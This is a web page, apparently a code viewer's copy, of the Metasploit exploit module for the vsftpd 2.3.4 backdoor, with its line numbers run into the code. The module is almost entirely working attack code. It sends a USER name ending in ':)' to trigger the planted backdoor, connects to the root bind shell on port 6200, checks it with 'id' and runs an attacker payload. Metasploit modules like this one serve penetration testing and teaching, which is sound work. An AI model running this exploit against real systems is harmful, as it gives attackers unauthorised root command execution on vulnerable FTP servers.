Real-time collaboration for Jupyter Notebooks, Linux Terminals, LaTeX, VS Code, R IDE, and more,
all in one place.
Real-time collaboration for Jupyter Notebooks, Linux Terminals, LaTeX, VS Code, R IDE, and more,
all in one place.
Path: blob/master/modules/exploits/unix/ftp/vsftpd_234_backdoor.rb
Views: 11784
##1# This module requires Metasploit: https://metasploit.com/download2# Current source: https://github.com/rapid7/metasploit-framework3##45class MetasploitModule < Msf::Exploit::Remote6Rank = ExcellentRanking78include Msf::Exploit::Remote::Tcp910def initialize(info = {})11super(update_info(info,12'Name' => 'VSFTPD v2.3.4 Backdoor Command Execution',13'Description' => %q{14This module exploits a malicious backdoor that was added to the VSFTPD download15archive. This backdoor was introduced into the vsftpd-2.3.4.tar.gz archive between16June 30th 2011 and July 1st 2011 according to the most recent information17available. This backdoor was removed on July 3rd 2011.18},19'Author' => [ 'hdm', 'MC' ],20'License' => MSF_LICENSE,21'References' =>22[23[ 'OSVDB', '73573'],24[ 'URL', 'http://pastebin.com/AetT9sS5'],25[ 'URL', 'http://scarybeastsecurity.blogspot.com/2011/07/alert-vsftpd-download-backdoored.html' ],26],27'Privileged' => true,28'Platform' => [ 'unix' ],29'Arch' => ARCH_CMD,30'Payload' =>31{32'Space' => 2000,33'BadChars' => '',34'DisableNops' => true,35'Compat' =>36{37'PayloadType' => 'cmd_interact',38'ConnectionType' => 'find'39}40},41'Targets' =>42[43[ 'Automatic', { } ],44],45'DisclosureDate' => '2011-07-03',46'DefaultTarget' => 0))4748register_options([ Opt::RPORT(21) ])49end5051def exploit5253nsock = self.connect(false, {'RPORT' => 6200}) rescue nil54if nsock55print_status("The port used by the backdoor bind listener is already open")56handle_backdoor(nsock)57return58end5960# Connect to the FTP service port first61connect6263banner = sock.get_once(-1, 30).to_s64print_status("Banner: #{banner.strip}")6566sock.put("USER #{rand_text_alphanumeric(rand(6)+1)}:)\r\n")67resp = sock.get_once(-1, 30).to_s68print_status("USER: #{resp.strip}")6970if resp =~ /^530 /71print_error("This server is configured for anonymous only and the backdoor code cannot be reached")72disconnect73return74end7576if resp !~ /^331 /77print_error("This server did not respond as expected: #{resp.strip}")78disconnect79return80end8182sock.put("PASS #{rand_text_alphanumeric(rand(6)+1)}\r\n")8384# Do not bother reading the response from password, just try the backdoor85nsock = self.connect(false, {'RPORT' => 6200}) rescue nil86if nsock87print_good("Backdoor service has been spawned, handling...")88handle_backdoor(nsock)89return90end9192disconnect9394end9596def handle_backdoor(s)9798s.put("id\n")99100r = s.get_once(-1, 5).to_s101if r !~ /uid=/102print_error("The service on port 6200 does not appear to be a shell")103disconnect(s)104return105end106107print_good("UID: #{r.strip}")108109s.put("nohup " + payload.encoded + " >/dev/null 2>&1")110handler(s)111end112end113114115